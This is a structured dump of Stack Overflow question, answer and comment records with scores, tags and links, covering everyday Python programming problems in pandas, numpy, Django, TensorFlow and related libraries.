answers question: http://stackoverflow.com/q/49517989

http://stackoverflow.com/comment/86174490
type: QuestionComment
score: 0
type: Comment
comment on: http://stackoverflow.com/q/49582598
has text: explain yourself better I do not understand.

http://stackoverflow.com/comment/86160511
type: QuestionComment
comment on: http://stackoverflow.com/q/49567411
score: 0
has text: Thanks, that helps, especially the second link
type: Comment

http://stackoverflow.com/q/49513098
has title: ImportError: Missing required dependencies ['numpy'] Exit Code 1
tagged with: conda
has comment: http://stackoverflow.com/comment/86085205
type: Question
tagged with: numpy
answer count: 0
type: UnansweredQuestion
has body: I have been searching all over the place but I don't seem to be able to find the answer. Someone has created a module for us to extract data for a project. However when I attempt to run it I get the following error: C:\Anaconda3\python.exe I:/Python/Modules/OVSurvey/ExtractRunner.py Traceback (most recent call last): File "I:/Python/Modules/OVSurvey/ExtractRunner.py", line 18, in import pandas as pd File "C:\Anaconda3\lib\site-packages\pandas_init_.py", line 18, in raise ImportError("Missing required dependencies {0}".format(missing_dependencies)) ImportError: Missing required dependencies ['numpy'] Process finished with exit code 1 I have tried doing the steps below in the command prompt: conda update conda conda update -y --all conda install numpy conda uninstall pandas conda uninstall numpy conda install pandas conda install numpy It seems to have left me with these versions: [ Python 3.4.1 ][ Pandas: 0.19.2-np111py34_1 ][ numpy: 1.11.3-py34_0 ] Any help will be greatly appreciated
has comment: http://stackoverflow.com/comment/86039230
tagged with: python
score: 0
tagged with: anaconda
tagged with: pandas
has comment: http://stackoverflow.com/comment/86030883

http://stackoverflow.com/q/49515651
has comment: http://stackoverflow.com/comment/86038608
linked to: http://stackoverflow.com/q/43191832
has comment: http://stackoverflow.com/comment/86036961
has comment: http://stackoverflow.com/comment/86037386
answer count: 1
upvote count: 1
tagged with: string
duplicate of: http://stackoverflow.com/q/43191832
downvote count: 1
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/86038482
has body: I have a data frame with many columns, some are objects including texts. I want to do some cleaning on all of the text columns like lower(), strip() etc. How can I get it by a loop over all text columns? I have written this which works as I expect: for column in t1.loc[:, t1.dtypes == np.object].columns: t1.loc[:,column] = t1[column].str.lower().str.strip() I was just wondering if there is a better way to write this. I am trying to improve my skills in pandas.
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/86036526
has comment: http://stackoverflow.com/comment/86037025
tagged with: python
linked to: http://stackoverflow.com/q/21271581
has answer: http://stackoverflow.com/a/49515969
has comment: http://stackoverflow.com/comment/86036461
has title: in Pandas, how to do string cleaning on all columns in a data frame
duplicate of: http://stackoverflow.com/q/21271581
score: 0
tagged with: pandas

http://stackoverflow.com/q/49523754
has answer: http://stackoverflow.com/a/49523982
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/86053627
tagged with: hash
has comment: http://stackoverflow.com/comment/86053561
type: UnansweredQuestion
score: -3
has title: How does the lookup function of a dict work?
tagged with: python
tagged with: dictionary
has comment: http://stackoverflow.com/comment/86053454
has comment: http://stackoverflow.com/comment/86053644
has comment: http://stackoverflow.com/comment/86053476
has comment: http://stackoverflow.com/comment/86053434
upvote count: 0
downvote count: 3
answer count: 1
linked to: http://stackoverflow.com/q/327311
has body: It is well known that mutable types cannot be the key of a dictionary. However if you were using say C++, then regular maps let you use vectors and arrays as map keys because regular maps are implemented as trees. However, C++ also lets you use an array as the key of an unordered map, which is closer in spirit to a python dictionary because it hashes the keys as long as you provide the hash function for types it doesn't know how to hash. So I wanted to know if Python would let you do the same as long as you provide an __hash__ method. In [1]: b = {} In [2]: class hlist(list): ...: def __hash__(self): ...: temp = [] ...: for item in self: ...: print item ...: temp.append(item) ...: return hash(tuple(temp)) ...: In [3]: a = hlist([1,2,3,4]) In [4]: c = hlist([1,2,3,4]) In [5]: b[a] = "car" 1 2 3 4 In [6]: b[c] 1 2 3 4 Out[6]: 'car' In [7]: a.append(5) In [8]: b[c] 1 2 3 4 --------------------------------------------------------------------------- KeyError Traceback (most recent call last) &lt;ipython-input-8-013e994efe63&gt; in &lt;module&gt;() ----&gt; 1 b[c] KeyError: [1, 2, 3, 4] I added the print inside the __hash__ to figure out what is being hashed and when the function is invoked. Right before the KeyError is thrown, the contents of c are printed, indicated that c was just hashed. Now shouldn't it just check if this hash value if the hash value of one of the keys? Why does it throw a key error? If it is also hashing all the keys one by one to figure out if one of them hash the same hash value as the query shouldn't the code below work? In [11]: b[hlist([1,2,3,4,5])] 1 2 3 4 5 --------------------------------------------------------------------------- KeyError Traceback (most recent call last) &lt;ipython-input-11-09593553a69b&gt; in &lt;module&gt;() ----&gt; 1 b[hlist([1,2,3,4,5])] KeyError: [1, 2, 3, 4, 5] If you were determined to have a mutable key with a semi robust hashing function similar to cpp is it possible?

http://stackoverflow.com/q/49594747
tagged with: call
upvote count: 0
downvote count: 2
tagged with: function
answer count: 1
favorite count: 0
type: Question
score: -2
has body: can not run the function call expression on idle python 2.7.14. what could be wrong with the code below? fruit = ['apple', 'orange', 'grape', 'apple', 'orange', 'grape', 'kiwi'] # init the array #reports the frequency of every item in a list def analyze_list(l): counts = {} for item in l: if item in counts: counts[item] = counts[item] + 1 else: counts[item] = 1 return counts #let analyze a list counts = analyze_list(fruit) print counts
tagged with: python
has title: invalid syntax when running a function call expression using python 2.7.14
has comment: http://stackoverflow.com/comment/86196940
has answer: http://stackoverflow.com/a/49594802
accepted answer: http://stackoverflow.com/a/49594802
type: AnsweredQuestion

http://stackoverflow.com/comment/86069041
has text: simply check first before iteration if dict: print("True").
comment on: http://stackoverflow.com/q/49531420
type: Comment
score: 0
type: QuestionComment

http://stackoverflow.com/comment/96563769
type: AnswerComment
has text: Sure will do. Thanks for the advice.
comment on: http://stackoverflow.com/a/54848735
type: Comment
score: 0

http://stackoverflow.com/a/49561313
has comment: http://stackoverflow.com/comment/86139159
has comment: http://stackoverflow.com/comment/86133635
downvote count: 0
type: Answer
has comment: http://stackoverflow.com/comment/86161688
has comment: http://stackoverflow.com/comment/86133335
accepted answer of: http://stackoverflow.com/q/49545930
score: 4
answers question: http://stackoverflow.com/q/49545930
has comment: http://stackoverflow.com/comment/86144755
has comment: http://stackoverflow.com/comment/86161827
type: AcceptedAnswer
has body: ctx = ssl.SSLContext(ssl.PROTOCOL_TLS) #Itried all the other protocols There is no ssl.PROTOCOL_TLS. There are for example ssl.PROTOCOL_TLSv1 which does not work and there is ssl.PROTOCOL_TLSv1_2 which does work for me. Even better use ssl.create_default_context().
has comment: http://stackoverflow.com/comment/86134126
upvote count: 4

http://stackoverflow.com/q/49441872
has title: A more understandable approach to this transformation of iris data
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/49441893
tagged with: numpy
possible better answer: http://stackoverflow.com/a/49441946
upvote count: 1
has answer: http://stackoverflow.com/a/49441919
tagged with: scikit-learn
tagged with: python
type: AnsweredQuestion
score: 0
answer count: 3
has comment: http://stackoverflow.com/comment/85885666
has body: So, I was following a book about machine learning. But I was confused a bit when I encountered this: the iris dataset marks setosa as zero, we have to change all targets with the value 0 to 1, and the other values all to 0.We will also use two features, petal length and petal width. These two features are the third and fourth entry in each x-value. iris = datasets.load_iris() binary_target = np.array([1. if x==0 else 0. for x in iris.target]) iris_2d = np.array([[x[2], x[3]] for x in iris.data]) The way the iteration is implemented, is very vague to me. I have never seen such an implementation. Is it a commonly used way that I dont know of? Or is there a better and a more convenient way to implement the same thing. Thanks
has answer: http://stackoverflow.com/a/49441946
downvote count: 1
accepted answer: http://stackoverflow.com/a/49441919

http://stackoverflow.com/a/49545876
has comment: http://stackoverflow.com/comment/86099259
answers question: http://stackoverflow.com/q/49545409
has body: The second approach using kde_kws={'linestyle':'--'} works fine with seaborn 8.1. Maybe you want to update. import seaborn as sns import matplotlib.pyplot as plt import numpy as np x_list = [np.random.rayleigh(1+i/2., size=35) for i in range(4)] for x in x_list: sns.distplot(x, hist=False, kde_kws={'linestyle':'--'}) plt.show()
score: 5
has comment: http://stackoverflow.com/comment/86099238
upvote count: 5
downvote count: 0
type: Answer

http://stackoverflow.com/comment/86145844
score: 0
type: QuestionComment
type: Comment
has text: ok, what if rows start with unordered numbers like `2 text ...., 7 text .... , 10 text, 3 text ...` not `1 .... 2 ... 3 ...`?
comment on: http://stackoverflow.com/q/49568719

http://stackoverflow.com/comment/86185814
type: Comment
has text: I don't think `in` is numpy aware. You may want to try `np.in1d` and probably get rid of the `np.all`.
type: QuestionComment
comment on: http://stackoverflow.com/q/49588615
score: 0

http://stackoverflow.com/a/49478747
answers question: http://stackoverflow.com/q/49477563
score: 0
type: Answer
has body: Add the following to change the colour, just before the tk.mainloop: h.config(background="snow") l.config(background="snow") m.config(background="snow") e.config(background="snow") w.config(background="snow") C.config(background="snow") You can't make the canvas transparent. Also, the better practice is to add the text and other widgets to the tkinter window (if you want the image to show maximum).

http://stackoverflow.com/q/49468649
has comment: http://stackoverflow.com/comment/85939948
has title: Remove column from a 3D array with varied length for every first-level index (Python)
type: Question
has comment: http://stackoverflow.com/comment/85940079
has body: I got a np.ndarray with ~3000 trajectories. Each trajectory has x, y and z coordinates and a different length; between 150 and 250 (points in time). Now I want to remove the z coordinate for all of these trajectories. So arr.shape gives me (3000,),(3000 trajectories) and (for example) arr[0].shape yields (3,178) (three axis of coordinates and 178 values). I have found multiple explanations for removing lines in 2D-arrays and I found np.delete(arr[0], 2, axis=0) working for me. However, I don't just want to delete the z coordinates for the first trajectory; I want to do this for every trajectory. If I want to do this with a loop for arr[i] I would need to know the exact length of every trajectory (It doesn't suit my purpose to just create the array with the length of the longest and fill it up with zeroes). TL;DR: So how do I get from a ndarray with [amountOfTrajectories][3][value] to [amountOfTrajectories][2][value]? The purpose is to use these trajectories as labels for a neural net that creates trajectories. So I guess it's a entirely new question but is the shape I'm asking for suitable for usage as labels for tensorflow? Also: What would have been a better title and some terms to find results for this with google? I just started with Python and I'm afraid I'm missing some keywords here...
tagged with: python
accepted answer: http://stackoverflow.com/a/49469023
has comment: http://stackoverflow.com/comment/85940041
has comment: http://stackoverflow.com/comment/85939856
type: AnsweredQuestion
score: 0
has answer: http://stackoverflow.com/a/49469023
has comment: http://stackoverflow.com/comment/85940204
tagged with: arrays
answer count: 1
has comment: http://stackoverflow.com/comment/85940536
tagged with: tensorflow
tagged with: numpy

http://stackoverflow.com/q/49591046
tagged with: plumbum
has comment: http://stackoverflow.com/comment/86190359
downvote count: 0
upvote count: 1
answer count: 1
tagged with: process-substitution
linked to: http://stackoverflow.com/q/43812939
has title: How to do process substitution, e.g. "echo hi | tee >( gzip > /tmp/1 ) > /tmp/2" in plumbum?
favorite count: 0
has answer: http://stackoverflow.com/a/49591526
type: Question
type: UnansweredQuestion
score: 1
has body: I need to figure out how to call pipe substitution in plumbum. Specifically, how to construct chains such as echo hi | tee &gt;( gzip &gt; /tmp/1 ) &gt; /tmp/2? Or, to illustrate the illustrate the idea better, find / | tee &gt;( grep hi &gt; /tmp/grepped ) &gt; /tmp/nongrepped? I need this kind of approach because the equivalent of find / that I'm going to use is very expensive to run and I can't save it on disk, so I need to apply two different filters in parallel. Is there a way to avoid mkfifo? Note: I'm aware that the question is similar to "How to pipe many bash commands from python?". The difference, though, is that I'm asking specifically about plumbum and an attempt to write a plumbum-related answer there is flawed, as described in its comments.
tagged with: python
has comment: http://stackoverflow.com/comment/86210218

http://stackoverflow.com/q/49541629
type: Question
has body: I'm writing some code in a Jupyter notebook, and for some reason it is not recognizing when I've made changes to a module that the notebook imports. I have the following cell at the top of my Jupyter notebook: %load_ext autoreload %autoreload 2 Based on this, my understanding is that this cell will force modules to reload upon execution of any code within the notebook. Meaning if I edit one of my imported modules, the edit should be reflected next time I run the code. Even without this cell though, I should be able to restart the module and run each cell from scratch to the same effect. Unfortunately this is not the case. No matter how many times I kill/restart the module, or even completely shut down Jupyter notebooks, the notebook will not recognize the changes I've made to the module(s) in question. I'm working in a virtual environment, and so far the only solution I've found is to run a script that completely rebuilds the environment (including re-downloading packages, etc). This is a pain, and a much bigger waste of time than should be necessary. This behavior is relatively new. I've been using Jupyter notebooks on this environment for months without such problems, but I can't pinpoint what I may have changed to cause this new behavior. Any insight would be greatly appreciated. Edit - Let me give a quick illustration of such a problem: Say, in a module called foo.py I have a class: class Foo(object): foo_bool = True And in my notebook I have the cell: from foo import Foo Then later I add to foo.py: class Foo(object): foo_bool = True class Bar(object): bar_bool = False And I now want to import both classes, so I change the notebook cell to: from foo import Foo, Bar Instead of properly importing both classes, I get something like: --------------------------------------------------------------------------- ImportError Traceback (most recent call last) &lt;ipython-input-2-1d0ce6099263&gt; in &lt;module&gt;() 1 import some_module 2 import some_other_module ----&gt; …
linked to: http://stackoverflow.com/q/32269102
has answer: http://stackoverflow.com/a/64244378
tagged with: python
score: 4
tagged with: jupyter-notebook
has answer: http://stackoverflow.com/a/50785442
upvote count: 4
has answer: http://stackoverflow.com/a/58761977
has title: Jupyter / IPython: After editing a module, changes are not effective even with kernel restart
answer count: 3
type: UnansweredQuestion
downvote count: 0
favorite count: 0

http://stackoverflow.com/comment/85944887
type: QuestionComment
has text: @PaulPanzer it was actually in there. I meant to bring the code over out of my function box.
comment on: http://stackoverflow.com/q/49471081
score: 0
type: Comment

http://stackoverflow.com/comment/86140986
comment on: http://stackoverflow.com/a/49566325
type: AnswerComment
has text: Got it, I would follow the advice from @Alasdair and enable debug on the template to see what variables are being passed.
score: 0
type: Comment

http://stackoverflow.com/q/49485441
tagged with: linux
tagged with: buildozer
answer count: 0
downvote count: 0
upvote count: 1
score: 1
tagged with: kivy
favorite count: 0
type: Question
has title: Buildozer failed to Unpacking pyjnius for armeabi-v7a
type: UnansweredQuestion
tagged with: android
tagged with: python
has body: I am new to kivy and buildozer. I have been trying to start off by trying to debug and deploy a sample code on my phone. But I have been getting this error consistently.I have checked and found the zip files in the directory. Please help, this is the error below: Traceback (most recent call last): File "/usr/lib/python2.7/runpy.py", line 174, in _run_module_as_main "__main__", fname, loader, pkg_name) File "/usr/lib/python2.7/runpy.py", line 72, in _run_code exec code in run_globals File "/home/shugas/Desktop/.buildozer/android/platform/python-for-android-new-toolchain/pythonforandroid/toolchain.py", line 978, in &lt;module&gt; main() File "/home/shugas/Desktop/.buildozer/android/platform/python-for-android-new-toolchain/pythonforandroid/toolchain.py", line 975, in main ToolchainCL() File "/home/shugas/Desktop/.buildozer/android/platform/python-for-android-new-toolchain/pythonforandroid/toolchain.py", line 512, in __init__ getattr(self, args.subparser_name.replace('-', '_'))(args) File "/home/shugas/Desktop/.buildozer/android/platform/python-for-android-new-toolchain/pythonforandroid/toolchain.py", line 149, in wrapper_func build_dist_from_args(ctx, dist, args) File "/home/shugas/Desktop/.buildozer/android/platform/python-for-android-new-toolchain/pythonforandroid/toolchain.py", line 193, in build_dist_from_args build_recipes(build_order, python_modules, ctx) File "pythonforandroid/build.py", line 559, in build_recipes File "pythonforandroid/recipe.py", line 520, in prepare_build_dir File "pythonforandroid/recipe.py", line 405, in unpack File "/home/shugas/.local/lib/python2.7/site-packages/sh.py", line 1245, in __call__ return RunningCommand(cmd, call_args, stdin, stdout, stderr) File "/home/shugas/.local/lib/python2.7/site-packages/sh.py", line 633, in __init__ self.wait() File "/home/shugas/.local/lib/python2.7/site-packages/sh.py", line 651, in wait self.handle_command_exit_code(exit_code) File "/home/shugas/.local/lib/python2.7/site-packages/sh.py", line 672, i…

http://stackoverflow.com/q/49576688
favorite count: 0
tagged with: opencv
score: 2
has title: Detect text regions in a flowchart using Python and OpenCV3
tagged with: python
tagged with: image-processing
tagged with: ocr
type: Question
tagged with: python-3.x
has answer: http://stackoverflow.com/a/50443652
upvote count: 2
type: UnansweredQuestion
downvote count: 0
answer count: 1
has body: I am trying to identify portions of the image that has text. For this, I am using OpenCV (v.3) first to pre-process the image and then add rectangles/boxes to the text portions. My code below does report some contours. See code, input image and output below. Code: import os,sys,cv2,pytesseract ## IMAGE afile = "test-small.jpg" def reader(afile): aimg = cv2.imread(afile,0) print("Image Shape%s | Size:%s" % (aimg.shape,aimg.size)) return aimg def boundbox(aimg): out_path2 = "%s-tagged.jpg" % (afile.rpartition(".")[0]) ret,thresh = cv2.threshold(aimg,127,255,0) image, contours, hierarchy = cv2.findContours(thresh,cv2.RETR_EXTERNAL,cv2.CHAIN_APPROX_NONE) acount = 0 for contour in contours: acount+=1 x, y, w, h = cv2.boundingRect(contour) print("Coordinates",x,y,w,h) if w &lt; 100 and h &lt; 100: ## Avoid tagging small objects i.e. false positives continue cv2.rectangle(aimg, (x, y), (x + w, y + h), (255, 0, 0), 8) ## print("Total contours found:%s" % (acount)) cv2.imwrite(out_path2,aimg) return out_path2 def main(): aimg = reader(afile) bimg = boundbox(aimg) if __name__ == '__main__': main() Test image: Output: Problem is that (1) rectangles are not visible on image and (2) detection of text portions is inaccurate. How can improve the above code to detect portions with text? Thanks for helping. Bade
has comment: http://stackoverflow.com/comment/86160981

http://stackoverflow.com/comment/85932548
has text: Use code formatting for errors. It works wonders
type: Comment
score: 0
comment on: http://stackoverflow.com/q/49464684
type: QuestionComment

http://stackoverflow.com/comment/86080742
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/49536576
score: 1
has text: Ah I see. I don't like how the question is written. But I am glad you are sharing what you found. It seems like the type of things that can help a lot of people.

http://stackoverflow.com/comment/86163023
score: 0
type: Comment
has text: @mgilson I think you're on to something, are you going to write up a full answer?
type: QuestionComment
comment on: http://stackoverflow.com/q/49577290

http://stackoverflow.com/comment/105719281
comment on: http://stackoverflow.com/a/49498880
type: Comment
score: 0
type: AnswerComment
has text: `tf.Print` is deprecated now.

http://stackoverflow.com/comment/113772320
has text: After installing conda build, using the conda develop option worked but the package does not show up in conda list. It shows up in pip list and imports fine. I know conda list shows somewhat different items than pip list, but I would expect it to show my package like pip list does. Anyone know why it doesn't? When installed with pip install -e . the package shows up in both pip list and conda list
score: 0
type: Comment
comment on: http://stackoverflow.com/a/49478207
type: AnswerComment

http://stackoverflow.com/a/71986676
has comment: http://stackoverflow.com/comment/127286881
score: 0
type: Answer
has body: import numpy as np x = np.array([[ 0, 1, 2],[ 3, 4, 5],[ 6, 7, 8],[ 9, 10, 11]]) print('Our array is:' ) print (x) print ('\n' ) rows = np.array([[0,0],[3,3]]) cols = np.array([[0,2],[0,2]]) y = x[rows,cols] # ([0,0],[3,3],[0,2],[0,2]) = (R,R,C,C) =Final Ans (0,0),(0,2),(3,0),(3,2) print ('The corner elements of this array are:' ) print (y)
answers question: http://stackoverflow.com/q/49588478

http://stackoverflow.com/comment/106347575
has text: I get a strange problem with this approach! Basically the index positions of values in my arrays `a` and `b` get shuffled around, so `c` has the right values, but not in the right places. Any clue how to order the value positions in memory so this doesn't happen?
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/49693704
type: Comment

http://stackoverflow.com/comment/86207393
type: AnswerComment
comment on: http://stackoverflow.com/a/49599733
type: Comment
score: 1
has text: still has a bug... you read the file twice (and get an empty string the second time)

http://stackoverflow.com/comment/86185670
comment on: http://stackoverflow.com/q/49586869
score: 0
has text: Paradoxically, changing the problem statement to something that looks harder, say reading from and writing to the network, makes it much easier to implement with pure asyncio.
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/86195807
score: 0
comment on: http://stackoverflow.com/q/49594067
type: Comment
type: QuestionComment
has text: Have you tried other values for `lazy`? like `lazy="joined"` or `lazy=False`. Asking because of how I'm interpreting [this documentation](http://docs.sqlalchemy.org/en/latest/orm/relationship_api.html#sqlalchemy.orm.relationship.params.lazy)

http://stackoverflow.com/q/49445362
tagged with: python
score: 2
tagged with: deep-learning
has body: In the context of an fully-connected autoencoder this paper states that one type of regularization is to use tied weights for weight matrixes (section 2in the paper). In the paper the weight matrix for the decoder is the transposed of the encoding matrix of the encoder. A pseudo-python writing of this in tensorflow can be: import tensorflow as tf encoder_activation = tf.add(tf.matmul(input_data, W_encoder),self.b_encoder) encoder = tf.tanh(activation) decoder_activation = tf.add(tf.matmul(encoder, tf.transpose(W_encoder)),self.b_decoder) decoder = tf.tanh(decoder_activation) Where input_data is a placeholder and b_* are biases and W_encoder the tied weight matrix of the encoder. Shapes are given so that no dimensionality problems arises. My question would be how would I use tied-weight matrix with Tensorflow recurrent cells instead of fully-connected (making it a recursive autoencoder) ? If possible a pseudo python/code hint of the main idea is verry appreciated. I'm not too familiar with the inner workings of the rnn cell. Consider the most basic cell that make illustration of this more easy Thank-you
tagged with: autoencoder
tagged with: recurrent-neural-network
has title: Tied weights in tensorflow recurrent cell
tagged with: tensorflow
favorite count: 0
type: Question
answer count: 0
upvote count: 2
type: UnansweredQuestion
downvote count: 0

http://stackoverflow.com/a/49458853
type: Answer
upvote count: 2
score: 2
downvote count: 0
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/49455626
has body: Two ideas: LP Introduce a weighted penalty-component to the objective which is the sum of all pairwise-differences (absolute-value!) of supply-vars. Pros: can be formulated as LP Cons: weight of this penalty is problem-dependent and needs to be tuned! exponential growth in number of pairs (in regards to #supplies) results in auxiliary-variables and constraints given a fast formulation, the solver will start to struggle with N &gt;&gt; 100 (e.g. 10 seconds solve-time for N=150; depends on bigM) needs absolute-value re-formulation (lpsolve docs) needs to be done manually in pulp SOCP Introduce a weighted penalty-component to the objective which is the euclidean-norm of the supply-vars. Pros: no exponential growth of vars / constraints Cons: weight of this penalty is problem-dependent and needs to be tuned! not linear anymore: SOCP-solver needed (which are less robust) needs a norm-formulation (but this is very natural if one has access to an SOCP-solver) I'm not using much pulp and will show both approaches conceptionally (bigM not tuned; slow formulation) using cvxpy, which automatically gives us abs and norm functions (reformulations). Code import numpy as np import cvxpy as cvx from itertools import combinations np.set_printoptions(suppress=True, precision=6) # price = np.array([140, 50, 80, 60]) # quantity = np.array([100, 150, 200, 400]) price = np.array([60, 60, 60, 60]) quantity = np.array([100, 150, 200, 400]) estimate = 400 # LP approach def solve_lp(penalty=True): bigM = 1e-3 N = len(price) pairs = list(combinations(range(N), 2)) x = cvx.Variable(N) constraints = [x &gt;= 0, cvx.sum_entries(x) &gt;= estimate, x &lt;= quantity] obj_costs = price * x obj_penalty = sum([cvx.abs(x[a] - x[b]) for (a,b) in pairs]) objective = obj_costs + bigM * float(penalty) * obj_penalty problem = cvx.Problem(cvx.Minimize(objective), constraints) problem.solve(solver='CBC') # Warning: solver not shipped by default # same solver as shipped by pulp # = Clp/Cbc print(problem.status…
accepted answer of: http://stackoverflow.com/q/49455626

http://stackoverflow.com/comment/86132424
score: 0
has text: Realistically, if your windows server is running python 3.6, it can surely run Daphne. Is there anything specific that you are worried/confused about?
comment on: http://stackoverflow.com/q/49561349
type: QuestionComment
type: Comment

http://stackoverflow.com/q/49464690
has body: I am in the middle of a developing a website in my development environment and I am having issues getting the photos to show on my carousel... I don't know if python manage.py collectstatic will fix this issue but this is what I have.I tried to configure the static settings in the settings.py folder but nothing carousel this is my code right here $(document).ready(function() { var carousel = $("#carousel").featureCarousel({ // include options like this: // (use quotes only for string values, and no trailing comma after last option) // option: value, // option: value }); $("#but_prev").click(function () { carousel.prev(); }); $("#but_pause").click(function () { carousel.pause(); }); $("#but_start").click(function () { carousel.start(); }); $("#but_next").click(function () { carousel.next(); }); }); .carousel-container { position: relative; width: 960px; } #carousel { height: 280px; width: 960px; background-color: #CCC; position: relative; margin-bottom: 0.5em; font-size: 12px; font-family: Arial; } .carousel-image { border: 0; display: block; } .carousel-feature { position: absolute; top: -1000px; left: -1000px; border: 2px solid #5d5d5d; cursor: pointer; } .carousel-feature .carousel-caption { position: absolute; bottom: 0; width: 100%; background-color: #000; } .carousel-feature .carousel-caption p { margin: 0; padding: 5px; font-weight: bold; font-size: 12px; color: white; } .tracker-summation-container { position: absolute; color: white; right: 48px; top: 230px; padding: 3px; margin: 3px; background-color: #000; } .tracker-individual-container { position: absolute; color: white; right: 48px; top: 210px; padding: 0; margin: 0; } .tracker-individual-container li { list-style: none; } .tracker-individual-container .tracker-individual-blip { margin: 0 3px; padding: 0 3px; color: white; text-align: center; background-color: #DDD; } .tracker-individual-container .tracker-individual-blip-selected { color: white; font-weight: bold; background-color: #000; } #carousel-lef…
tagged with: python
tagged with: carousel
has comment: http://stackoverflow.com/comment/85944560
type: Question
answer count: 0
has comment: http://stackoverflow.com/comment/85932739
type: UnansweredQuestion
tagged with: django
tagged with: javascript
has comment: http://stackoverflow.com/comment/85936709
score: 0
has title: Django... static images for carousel

http://stackoverflow.com/comment/86011641
has text: Yeah that is a possibility. Thanks for your help, it actually made it faster. I suppose I cant really scrape 50k+ items in that manner.
score: 0
comment on: http://stackoverflow.com/a/49499311
type: Comment
type: AnswerComment

http://stackoverflow.com/comment/86095355
comment on: http://stackoverflow.com/q/49543732
score: 0
type: Comment
has text: Can you please show an example df? It looks like you're actively selecting null values.
type: QuestionComment

http://stackoverflow.com/comment/85992113
comment on: http://stackoverflow.com/q/49478841
type: Comment
type: QuestionComment
score: 0
has text: @ekhumoro I know I had to show it but I kinda couldn't because it was a not-running mess, result of trial and error and more of a general idea on how to approach the problem rather than actual code

http://stackoverflow.com/q/49444059
tagged with: odoo-10
answer count: 0
has body: I customized a print check button which will pop up a wizard form in Payment Menu in order for user to choose the check print out data will be a cash check or not. In my wizard print button i return code as below @api.multi def action_print(self): return self.env['report'].get_action(self.payment_id, 'xxx.xxx_report') After report showed, the wizard still remain unclosed. I've searched on odoo forum and stackoverflow regarding this topic, there're a lot of posts but no definite answer. So i decided to re-post here. How to close wizard form after print report?
has comment: http://stackoverflow.com/comment/86055553
type: Question
has comment: http://stackoverflow.com/comment/86030617
has comment: http://stackoverflow.com/comment/85970412
type: UnansweredQuestion
tagged with: python
has comment: http://stackoverflow.com/comment/85894800
has title: How to Close Wizard after Print Report in Odoo 10
tagged with: wizard
score: 0
tagged with: rml

http://stackoverflow.com/a/49578295
score: 2
upvote count: 2
downvote count: 0
has comment: http://stackoverflow.com/comment/86167546
has body: You can using merge_asof pd.merge_asof(df1.sort_values('C'),df2.assign(C=df.C+20).sort_values('C'),on='C',by='A',direction ='forward').dropna().drop_duplicates('A',keep='last') Out[553]: A B_x C B_y 3 2002-01-13 7 150 11.0 5 2002-01-14 25 165 9.0 Update pd.merge_asof(df1.sort_values('C').reset_index(),df2.assign(C=df2.C+20).sort_values('C'),on='C',by='A',direction ='forward').dropna().drop_duplicates('A',keep='last').set_index('index') Out[606]: A B_x C B_y index 1 2002-01-13 7 150 11.0 5 2002-01-14 25 165 9.0
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/86167597
has comment: http://stackoverflow.com/comment/86167644
accepted answer of: http://stackoverflow.com/q/49578171
type: Answer
has comment: http://stackoverflow.com/comment/86167713
answers question: http://stackoverflow.com/q/49578171

http://stackoverflow.com/q/49491822
answer count: 1
has title: Plotting a scatter but doesn't show
upvote count: 1
has comment: http://stackoverflow.com/comment/85987538
score: -6
downvote count: 7
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/49707287
type: UnansweredQuestion
tagged with: python
tagged with: scatter
has body: I am plotting in python but the scatter plot doesn't show? What am I doing wrong Scatter plot and code can someone help me? thanks!
has comment: http://stackoverflow.com/comment/85987170
tagged with: matplotlib

http://stackoverflow.com/a/49496159
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/49496096
has body: You should remove return from your for-loop as it breaks your loop. Also, the if-else statement is not required. You can print the boolean value directly from the comparison movies[index]['name'] == p def peliMayor(p): index= -1 for n in movies: index= index + 1 print(movies[index]['name'] == p) movies = [{'name': 'Usual Suspects'}, {'name': 'Hitman'}, {'name': 'Dark Knight'}, {'name': 'The Choice'}, {'name': 'Colonia'}] peli = 'Thriller' peliMayor(peli)
answers question: http://stackoverflow.com/q/49496096
type: Answer
score: 0

http://stackoverflow.com/q/49478875
type: Question
upvote count: 4
has answer: http://stackoverflow.com/a/68020747
accepted answer: http://stackoverflow.com/a/49478876
tagged with: python
score: 4
tagged with: lxml.objectify
linked to: http://stackoverflow.com/q/5084730
type: AnsweredQuestion
answer count: 2
tagged with: lxml
has body: Setting values to an element using the objectify API of the lxml library, assigns the auto detected pytype to that element and the required namespaces, by default. For example, setting the root element: root = objectify.Element('root') print(etree.tostring(root, pretty_print=True).decode('utf-8')) Outputs: or setting a value to a child element: child = objectify.SubElement(root, 'child') root.child = 'value' print(etree.tostring(root, pretty_print=True).decode('utf-8')) Outputs: value Even using the setattr of ObjectPath: path = objectify.ObjectPath('root.vader.son') path.setattr(root, 'Luke') print(etree.tostring(root, pretty_print=True).decode('utf-8')) Outputs: value Luke There are solutions that remove the pytype and its namespaces after the element creation, using the deannotate() function (ex. When using lxml, can the XML be rendered without namespace attributes?, Remove "xmlns:py..." with lxml.objectify). There are no solutions whatsoever that create the element without the pytype and its namespaces from the beginning. Any ideas on how to do that?
linked to: http://stackoverflow.com/q/21767300
downvote count: 0
has answer: http://stackoverflow.com/a/49478876
possible better answer: http://stackoverflow.com/a/68020747
favorite count: 0
has title: Setting values without pytype - lxml objectify

http://stackoverflow.com/q/49491737
type: AnsweredQuestion
score: 0
has comment: http://stackoverflow.com/comment/85987309
has body: Let's say I have this form: from django import forms from django.core.exceptions import ValidationError class NameForm(forms.form): name = forms.CharField(max_length=200) class NameAgeForm(NameForm): age = forms.IntegerField() def clean(self): data = self.cleaned_data if data.get('age') == 24 and data.get('name') == 'Nebu': raise ValidationError({'name': "You can't pick that name and age, they are mine!"}) The thing is, I have a sub-form where validation is happening. But I want my field error being shown at the NameForm. Sidenote I can't access the parent form and therefore the solution must come from the child. Now, is this possible?
answer count: 1
tagged with: django
has title: Raise validation error from child form on parent form in Django
type: Question
has comment: http://stackoverflow.com/comment/85986894
has comment: http://stackoverflow.com/comment/85986827
tagged with: python
tagged with: forms
has answer: http://stackoverflow.com/a/49492170
accepted answer: http://stackoverflow.com/a/49492170
has comment: http://stackoverflow.com/comment/85987395

